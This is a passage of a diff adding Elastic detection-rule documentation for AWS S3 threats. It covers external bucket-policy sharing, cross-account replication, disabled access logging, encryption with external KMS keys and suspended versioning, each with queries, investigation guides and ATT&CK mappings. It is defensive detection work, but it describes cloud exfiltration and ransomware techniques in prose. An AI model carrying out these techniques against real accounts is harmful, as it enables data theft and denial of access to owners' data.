Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc new file mode 100644 index 0000000000..efb2c57611 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-share-with-external-account]] +=== AWS S3 Bucket Policy Added to Share with External Account + +Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Policy Added to Share with External Account* + + +This rule detects when an S3 bucket policy is modified using the `PutBucketPolicy` API call to include an external AWS account ID. +It compares the bucket’s `recipient_account_id` to any account IDs included in the policy’s `Effect=Allow` statement, triggering +an alert if the two do not match. + +Adversaries may exploit this to backdoor a bucket and exfiltrate sensitive data by granting permissions to another AWS account +they control, enabling ongoing access to the bucket’s contents even if IAM credentials are rotated or revoked. + +This detection specifically focuses on policy-based sharing and does not alert when: +- The account ID appears within the bucket or object name being shared. +- The account owner explicitly matches the policy’s condition keys on something other than an ARN or account id (i.e. IP address). + +To fully monitor for suspicious sharing behavior, use this rule in combination with detections for: +- Unusual PutBucketPolicy requests +- Cross-account object access (e.g., `GetObject`, `PutObject`) +- Changes to bucket ACLs or access points + + +*Possible investigation steps* + + +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Determine if the identity typically manages S3 bucket policies. + - Examine `aws.cloudtrail.resources.arn` to determine which bucket is being shared. + +- **Analyze the Policy Change** + - Review `aws.cloudtrail.request_parameters` to extract the policy JSON and identify the external AWS account ID(s) referenced. + - Check for `Effect=Allow` statements granting broad permissions such as `"Action": "s3:*"` or `"Resource": "*"`. + - Verify if the added principals correspond to known partners or external vendors. + - If AWS account ID(s) were only part of `Effect=Deny` statements, then this rule can be closed as a false positive. + +- **Review Context and Source** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalies — such as new IP ranges, access from unfamiliar geographies, or use of programmatic clients (`boto3`, `aws-cli`). + +- **Correlate with Related Activity** + - Search CloudTrail for subsequent activity by the external AWS account ID(s): + - `GetObject`, `ListBucket`, or `PutObject` events that indicate data access or exfiltration. + - Look for additional configuration changes by the same actor, such as: + - `PutBucketAcl`, `PutBucketVersioning`, or `PutBucketReplication` — often part of a larger bucket compromise chain. + - Determine if multiple buckets were modified in quick succession. + +- **Validate Intent** + - Review internal change requests or documentation to confirm whether this external sharing was approved. + - If no approval exists, escalate immediately for potential compromise. + + +*False positive analysis* + + +- **Authorized Cross-Account Access** + - Some organizations legitimately share S3 buckets across accounts within a trusted AWS Organization or partner accounts. + - Validate whether the external account ID belongs to a known entity or service provider and is documented in your allowlist. +- **Automation or Deployment Pipelines** + - Continuous integration/deployment pipelines may temporarily attach cross-account policies for replication or staging. + - Verify the `user_agent.original` or role name — automation often includes identifiable strings. +- **Naming and Rule Logic Limitations** + - This rule excludes detections where the account ID appears in the bucket resource ARN (e.g., `mybucket-123456789012`). + - Such patterns are common in automated provisioning. For those scenarios, rely on complementary rules that directly monitor `PutBucketPolicy` events against those buckets. + + +*Response and remediation* + + +- **Immediate Review and Containment** + - If unauthorized sharing is confirmed, use the AWS CLI or Console to delete or revert the modified policy (`aws s3api delete-bucket-policy` or restore from version control). + - Remove external principals and reapply the correct bucket policy. + - Rotate access keys for the actor involved, especially if API access came from unexpected locations or tools. + +- **Investigation and Scoping** + - Identify whether data was accessed by the external account via `GetObject` or `ListBucket` operations. + - Search CloudTrail logs for other buckets modified by the same actor or IP within the same timeframe. + - Use AWS Config to review version history of affected bucket policies and detect similar cross-account permissions. + +- **Recovery and Hardening** + - Restrict `s3:PutBucketPolicy` to a limited set of administrative roles using least privilege. + - Enable AWS Config rule `s3-bucket-policy-grantee-check` to monitor for unauthorized policy additions. + - Use AWS GuardDuty or Security Hub findings to correlate policy changes with data exfiltration or credential compromise events. + - Apply service control policies (SCPs) to block cross-account sharing unless explicitly approved. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and ( + stringContains(aws.cloudtrail.request_parameters, "AWS=") or + stringContains(aws.cloudtrail.request_parameters, "aws:PrincipalAccount=") or + stringContains(aws.cloudtrail.request_parameters, "aws:SourceAccount=") + ) +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:cloudfront::") +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:iam::cloudfront:user") +and not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-replicated-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-replicated-to-another-account.asciidoc new file mode 100644 index 0000000000..2597894d30 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-replicated-to-another-account.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-21-aws-s3-bucket-replicated-to-another-account]] +=== AWS S3 Bucket Replicated to Another Account + +Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication-walkthrough-2.html/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketReplication.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Replicated to Another Account* + + +Cross-account S3 replication enables automated copying of S3 objects into a different AWS bucket. While useful for backup and organizational data flows, adversaries may exploit it as a covert exfiltration channel. Once replication is configured, any future writes to the bucket are silently copied to the destination bucket—even if object-level access controls block the attacker’s direct downloads. For this reason, unauthorized replication configuration should be considered high-risk. + +This rule detects successful `PutBucketReplication` events and flags cases where the replication configuration specifies a destination AWS account different from the source. + + +*Possible investigation steps* + + +**Understand who initiated the replication change** +- Inspect `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify the actor. +- Review authentication patterns such as federated session names, role chaining via STS, or unfamiliar IAM roles. +- Examine `source.ip`, `source.geo` fields, and `user_agent.original` for unusual locations, automation tools, or anomalous access paths. + +**Examine the replication rule details** +- Inspect `aws.cloudtrail.request_parameters` for: + - The **destination account ID** (`Account=`). + - The **IAM role ARN** used for replication. (`Role=`) + - Any filtering rules (prefixes, tags) that narrow or broaden what will be replicated. + +**Determine whether the destination account is authorized** +- Validate whether the destination AWS account belongs to your AWS Organization. +- Check internal documentation, IaC templates, or tagging standards to confirm whether replication to this account is expected. +- Look for prior legitimate infrastructure workflows such as: + - Centralized logging + - Backup/DR accounts + - Cross-region compliance replicas + +Unrecognized accounts should be treated as a strong exfiltration signal. + +**Assess the scope of potential data exposure** +- Determine whether the bucket contains sensitive or regulated data (PII, financial records, secrets, logs, etc.). +- Identify whether object versioning, lifecycle rules, or access logging were modified recently. +- Check for preceding or subsequent actions such as: + - `PutBucketPolicy` updates granting new principals access + - Creation or modification of IAM roles tied to replication + - `DeleteObject` or `PutObjectRetention` attempts that might pair with exfiltration + +**Correlate with other suspicious activity** +Pivot in CloudTrail on the same principal or same bucket: +- Prior reconnaissance such as `ListBuckets`, `GetBucketReplication`, or `GetBucketPolicy` +- Modification of KMS policies or unexpected encryption key usage +- New access patterns from external IP addresses or unusual automation + + +*False positive analysis* + + +**Legitimate cross-account replication** +Validate: +- The destination account belongs to a known OU or business unit +- The replication role ARN matches expected automation +- The change aligns with documented deployment or maintenance schedules + +**Temporary migrations or transitions** +During account restructuring or workload migration, administrators may temporarily redirect replication to new accounts. + +Tuning options: +- Exception lists based on IAM role ARNs +- Tag-based environment scoping +- Change-window-based suppression + + +*Response and remediation* + + +**Contain potential exfiltration** +- Remove or update replication rules to eliminate unauthorized destinations. +- Disable or restrict the replication IAM role until the investigation is complete. +- Review S3 object access logs to determine whether data has begun replicating to the external account. + +**Investigate scope and impact** +- Identify the volume and types of data at risk of replication. +- Determine whether the external bucket shows successful replication traffic (if logs or access are available). +- Assess whether the actor also modified bucket policies, encryption settings, or KMS keys. + +**Credential and role hygiene** +- Rotate credentials for the initiating user or role if compromise is suspected. +- Review IAM role trust policies, especially if STS sessions or EC2 role assumptions were involved. +- Enable MFA and tighten conditions for administrative roles capable of modifying replication. + +**Hardening and preventive controls** +- Enforce SCPs that restrict cross-account replication except for explicitly approved destinations. +- Require approval workflows before modifying replication or retention settings. +- Use AWS Config and Security Hub controls to detect: + - Buckets with unexpected replication rules + - Newly added cross-account permissions + - Changes to bucket policies, block-public-access settings, or KMS key policies + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "PutBucketReplication" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Account=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-server-access-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-server-access-logging-disabled.asciidoc new file mode 100644 index 0000000000..05446fae72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-server-access-logging-disabled.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-aws-s3-bucket-server-access-logging-disabled]] +=== AWS S3 Bucket Server Access Logging Disabled + +Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-server-access-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Server Access Logging Disabled* + + +This detection alerts when the server-access logging configuration for an S3 bucket is changed so that logging is disabled. +Because detailed request logs are central to tracking object access, modifications here are significant from a visibility and forensics standpoint. They can signal that an adversary is preparing to act (exfiltrate, delete, or manipulate data) while minimizing audit evidence. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine the who/what of the change. + - Inspect `user_agent.original`, `source.ip`, `@timestamp`, `cloud.account.id`, `cloud.region` for unusual or non-standard access patterns (e.g., new user, external IP, off-hours). + - Check the bucket resource (via `aws.cloudtrail.resources.arn`, `aws.cloudtrail.resources.type`) to determine the bucket’s business role (e.g., logs, backups, sensitive data store). + - Consider whether the bucket houses audit logs or access logs; if so, disabling logging is especially suspicious and a higher risk. + +**Correlate with related activities** + - Search for preceding or subsequent events by the same principal or for the same bucket: + - `DeleteObject`, `PutBucketAcl`, `PutBucketPolicy`, `RemoveBucketAccessPoint`, or other permissions changes (e.g., `PutBucketLifecycle`). + - `ListBucket`, `GetObject`, `CopyObject`, or large `GetObject` operations, especially from unusual IPs or cross-account. + - IAM changes in proximity: `AttachUserPolicy`, `CreateAccessKey`, `AssumeRole` by same principal or against the same principal. + - Review AWS Config or Audit logs to see if the bucket’s logging was previously enabled and how long it has been disabled. + +**Evaluate intent and risk** + - If the bucket was being used to collect access logs or audit data, disabling logging significantly degrades forensic capability. + - Determine whether the actor has a legitimate business reason for modifying logging (ticket, change request, known automation). + - If not justified, treat this as a high-priority visibility compromise and proceed through escalation. + + +*False positive analysis* + + +- Storage teams may disable logging temporarily during migration or cost-optimisation exercises. +- Test or development buckets may routinely toggle logging for experimentation—document such buckets and roles. +- Trusted automation (tagged, known user-agent, internal IPs) may adjust logging. Consider allow-listing such automation while preserving watch-points for changes to high-sensitivity buckets. + + +*Response and remediation* + + +**Contain & restore visibility** + - Immediately re-enable server‐access logging for the affected bucket (ensure `LoggingEnabled=true` and correct `TargetBucket/Prefix`). + - If you suspect activity while logging was disabled, preserve any remaining object versions, cross-account access logs, or S3 Inventory data. + +**Investigate scope and impact** + - Use CloudTrail Lake or Athena to query access to the bucket and objects for the timeframe when logging was disabled. + - Identify external IP addresses, unusual principals, or rapid object transfers or deletions. + +**Recover & harden** + - Apply bucket-policy or SCP restrictions to prevent unauthorized modifications of `PutBucketLogging` for audit/logging buckets. + - Enable AWS Config rule (e.g., `cloudtrail-s3-bucket-access-logging`) to alert if logging is disabled. + - Ensure logging target buckets are configured with retention, versioning, and immutability (S3 Object Lock) to prevent tampering. + +**Improve & monitor** + - Update your incident response playbook to include this scenario (see AWS IR + Customer Playbook Framework). + - Educate stakeholders (storage, DevOps, security) that any change to logging configuration on buckets — especially audit/log buckets should be treated as a security event and ticketed. + + +*Additional information* + + +- AWS documentation on https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html[S3 Server Access Logging] +- https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketLogging" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "LoggingEnabled") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-object-encryption-using-external-kms-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-object-encryption-using-external-kms-key.asciidoc new file mode 100644 index 0000000000..9d4a3e7d98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-object-encryption-using-external-kms-key.asciidoc @@ -0,0 +1,237 @@ +[[prebuilt-rule-8-19-21-aws-s3-object-encryption-using-external-kms-key]] +=== AWS S3 Object Encryption Using External KMS Key + +Identifies use of the S3 CopyObject API where the destination object is encrypted using an AWS KMS key from an external AWS account. This behavior may indicate ransomware-style impact activity where an adversary with access to a misconfigured S3 bucket encrypts objects using a KMS key they control, preventing the bucket owner from decrypting their own data. This technique is a critical early signal of destructive intent or cross-account misuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html/ +* https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html/ +* https://www.gem.security/post/cloud-ransomware-a-new-take-on-an-old-attack-pattern/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Data Source: AWS KMS +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Object Encryption Using External KMS Key* + + +This rule detects when an S3 `CopyObject` operation encrypts an object using a KMS key belonging to a different AWS account than the bucket owner. This behavior is unusual and a strong indicator of: + +- Cloud ransomware techniques, where adversaries encrypt data using a key only they control. +- Cross-account privilege misuse, especially when an unauthorized principal has write access to S3. +- Misconfigured bucket permissions, enabling principals from another account to perform privileged copy operations. +- Early impact-stage activity in incidents where attackers prepare to destroy availability or deny the owner access. + +The rule uses ESQL to identify cases where the `cloud.account.id` (bucket owner) differs from the dissected `kms_key_account_id` used for encrypting the new object version. + + + +*Possible investigation steps* + + +**Identify the actor and access pathway** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. +- Check whether the caller is: + - A legitimate cross-account automation role, + - A compromised IAM user or workload identity, or + - A federated identity behaving outside of normal patterns. +- Inspect `user_agent.original` to determine whether the action came from the AWS Console, CLI, SDK, or unusual tooling. + +**Analyze the encryption behavior** +- Inspect the dissected KMS key fields: + - `Esql.aws_cloudtrail_request_parameters_kms_key_account_id` + - `Esql.aws_cloudtrail_request_parameters_kms_key_id` +- Confirm whether the external key: + - Belongs to an attacker-controlled account, + - Is unknown to your organization, or + - Lives in a shared or security tooling account. + +**Assess the objects affected** +- Review: + - `Esql.aws_cloudtrail_request_parameters_target_bucket_name` + - `Esql.aws_cloudtrail_request_parameters_target_object_key` +- Identify: + - Whether objects were overwritten or new encrypted copies were created. + - The sensitivity or criticality of the affected data. + - Whether object versioning is enabled (important for recovery). + +**Correlate surrounding access patterns** +Pivot in CloudTrail on: +- The same access key ID +- The same IAM principal +- Affected bucket ARN + +Look for: +- `DeleteObject` or `DeleteObjects` calls (common in ransomware behavior) +- Mass enumeration prior to the event (`ListObjectsV2`, `GetObject`) +- Other impact-stage actions (`PutBucketPolicy`, `PutBucketAcl`, disabling logging) +- Attempts to encrypt additional objects in rapid succession + +**Evaluate bucket permissions and exposure** +Review: +- S3 bucket policy changes +- IAM roles with `s3:PutObject` or `s3:PutObjectAcl` permissions +- Whether unintended cross-account `Principal` entries exist +- Whether the KMS key policy explicitly trusts your account or a foreign one + +**Validate business justification** +- Confirm with storage, data engineering, or application teams whether: + - Any migration, transformation, or backup workflows should be encrypting objects cross-account. + - Scheduled jobs or CI/CD pipelines were operating at the time of the event. + + +*False positive analysis* + + +- **Expected cross-account encryption** + Many organizations use centralized encryption accounts or shared security accounts. Validate: + - Whether the KMS key account is part of your AWS Organization + - Whether the workflow, role, or application is documented + - Whether the principal routinely performs CopyObject operations + + +*Response and remediation* + + +**Contain and prevent further impact** +- Immediately restrict S3 write access for the principal involved. +- If the KMS key is attacker-controlled, the impacted objects may be unrecoverable without versioning. +- If object versioning is disabled, enable it on the affected bucket to strengthen future resilience. + +**Investigate scope and severity** +- Identify: + - Additional objects encrypted using external keys + - Related suspicious actions (delete, modify, exfiltration events) + - Whether any ransom markers or unauthorized files were uploaded +- Validate whether the external KMS key grants *decrypt* permission back to the bucket owner (rare in attacker use). + +**Recover and secure the bucket** +- Restore accessible previous versions if versioning is enabled. +- Revoke unauthorized access key pairs or session credentials. +- Audit bucket policies, ACLs, and IAM conditions (`aws:PrincipalArn`, `aws:SourceAccount`, `aws:SourceArn`). +- Tighten cross-account access controls: + - Remove unintended `Principal` clauses + - Restrict KMS usage to known accounts + - Enforce SCPs that block cross-account KMS use unless explicitly approved + +**Long-term hardening** +- Integrate object-level access logging and S3 server access logging into security monitoring. +- Add AWS Config rules (or Security Hub controls) detecting: + - Public buckets + - Cross-account access to S3 + - KMS policies permitting foreign principals +- Document required cross-account workflows and add explicit allowlists. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration for CopyObject events. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index + +// any successful S3 copy event +| where + data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "CopyObject" + and event.outcome == "success" + +// dissect request parameters to extract KMS key info and target object info +| dissect aws.cloudtrail.request_parameters + "{%{?bucketName}=%{Esql.aws_cloudtrail_request_parameters_target_bucket_name},%{?x-amz-server-side-encryption-aws-kms-key-id}=%{?arn}:%{?aws}:%{?kms}:%{?region}:%{Esql.aws_cloudtrail_request_parameters_kms_key_account_id}:%{?key}/%{Esql.aws_cloudtrail_request_parameters_kms_key_id},%{?Host}=%{?tls.client.server.name},%{?x-amz-server-side-encryption}=%{?server_side_encryption},%{?x-amz-copy-source}=%{?bucket.object.name},%{?key}=%{Esql.aws_cloudtrail_request_parameters_target_object_key}}" + +// detect cross-account key usage +| where cloud.account.id != Esql.aws_cloudtrail_request_parameters_kms_key_account_id + +// keep ECS and dissected fields +| keep + @timestamp, + data_stream.namespace, + user.name, + user_agent.original, + source.ip, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.resources.arn, + aws.cloudtrail.resources.type, + event.action, + event.outcome, + cloud.account.id, + cloud.region, + aws.cloudtrail.request_parameters, + aws.cloudtrail.response_elements, + Esql.aws_cloudtrail_request_parameters_target_bucket_name, + Esql.aws_cloudtrail_request_parameters_target_object_key, + Esql.aws_cloudtrail_request_parameters_kms_key_account_id, + Esql.aws_cloudtrail_request_parameters_kms_key_id, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-object-versioning-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-object-versioning-suspended.asciidoc new file mode 100644 index 0000000000..9a3c8a8bfa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-object-versioning-suspended.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-aws-s3-object-versioning-suspended]] +=== AWS S3 Object Versioning Suspended + +Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/ +* https://www.invictus-ir.com/news/ransomware-in-the-cloud/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Object Versioning Suspended* + + +This rule detects when object versioning for an S3 bucket is suspended. S3 object versioning protects against data loss by maintaining prior versions of objects, allowing recovery if they are deleted or overwritten. +Adversaries with access to a misconfigured or compromised S3 bucket may 